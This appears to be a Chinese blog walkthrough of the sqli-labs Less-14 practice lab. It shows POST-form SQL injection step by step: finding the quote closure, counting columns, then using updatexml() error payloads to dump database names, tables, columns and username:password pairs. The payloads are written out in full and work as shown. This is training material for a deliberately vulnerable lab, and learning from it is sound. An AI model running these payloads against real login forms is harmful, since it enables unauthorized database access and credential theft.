sqli-labs less-14post报错注入updatexml

post提交报错注入

闭合方式及注入点

利用hackbar进行注入,构造post语句

uname=aaa"passwd=bbb&Submit=Submit

页面报错,根据分析,闭合方式".

确定列数

构造

uname=aaa" or 1=1 # &passwd=bbb&Submit=Submit 确定存在注入
uname=aaa" order by 3 # &passwd=bbb&Submit=Submit 有报错

uname=aaa" order by 2 # &passwd=bbb&Submit=Submit 无报错,列数2

回显位置

uname=aaa" union select 1,2 # &passwd=bbb&Submit=Submit

发现页面没有回显,想到前面 存在报错,想到报错注入

使用updatexml()函数来进行报错注入

查询数据库与版本等

  • uname=aaa" union select 1,updatexml(1,concat('~',(select database())),3) # &passwd=bbb&Submit=Submit
    数据库名
  • uname=aaa" union select 1,updatexml(1,concat('~',(select version())),3) # &passwd=bbb&Submit=Submit
    版本

爆出所有数据库

  • uname=aaa" union select 1,updatexml(1,concat('~',(select schema_name from information_schema.schemata limit 0,1)),3) # &passwd=bbb&Submit=Submit
  • uname=aaa" union select 1,updatexml(1,concat('~',(select schema_name from information_schema.schemata limit 5,1)),3) # &passwd=bbb&Submit=Submit
    通过修改limit函数的值来查询所有的数据库名

爆出所有表名

  • uname=aaa" union select 1,updatexml(1,concat('~',(select table_name from information_schema.tables where table_schema=database() limit 0,1)),3) # &passwd=bbb&Submit=Submit
  • uname=aaa" union select 1,updatexml(1,concat('~',(select table_name from information_schema.tables where table_schema=database() limit 1,1)),3) # &passwd=bbb&Submit=Submit
  • uname=aaa" union select 1,updatexml(1,concat('~',(select table_name from information_schema.tables where table_schema=database() limit 2,1)),3) # &passwd=bbb&Submit=Submit
  • uname=aaa" union select 1,updatexml(1,concat('~',(select table_name from information_schema.tables where table_schema=database() limit 3,1)),3) # &passwd=bbb&Submit=Submit
    得到users

爆出列名

  • uname=aaa" union select 1,updatexml(1,concat('~',(select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1)),3) # &passwd=bbb&Submit=Submit
  • uname=aaa" union select 1,updatexml(1,concat('~',(select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 1,1)),3) # &passwd=bbb&Submit=Submit
  • uname=aaa" union select 1,updatexml(1,concat('~',(select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 2,1)),3) # &passwd=bbb&Submit=Submit
    得到列id,username,password

爆出数据

  • uname=aaa" union select 1,updatexml(1,concat('~',(select concat(username,':',password) from security.users limit 0,1)),3) # &passwd=bbb&Submit=Submit
    修改0的值,就可以得到所有的数据

完成,

相关推荐
rain bye bye5 分钟前
calibre LVS 跑不起来 就将setup 的LVS Option connect下的 connect all nets by name 打开。
服务器·数据库·lvs
冻咸鱼19 分钟前
MySQL的配置
mysql·配置
旺仔Sec1 小时前
新疆维吾尔自治区第一届“丝路杯”网络安全大赛暨2026年新疆职业院校技能大赛网络安全赛项竞赛样题
安全·web安全
我不是QI1 小时前
DES 加密算法:核心组件、加解密流程与安全特性
经验分享·算法·安全·网络安全·密码学
阿里云大数据AI技术2 小时前
云栖实录|MaxCompute全新升级:AI时代的原生数据仓库
大数据·数据库·云原生
不剪发的Tony老师2 小时前
Valentina Studio:一款跨平台的数据库管理工具
数据库·sql
重生之我要当java大帝2 小时前
java微服务-尚医通-编写医院设置接口下
java·开发语言·sql
weixin_307779132 小时前
在 Microsoft Azure 上部署 ClickHouse 数据仓库:托管服务与自行部署的全面指南
开发语言·数据库·数据仓库·云计算·azure
六元七角八分2 小时前
pom.xml
xml·数据库
虚行3 小时前
Mysql 数据同步中间件 对比
数据库·mysql·中间件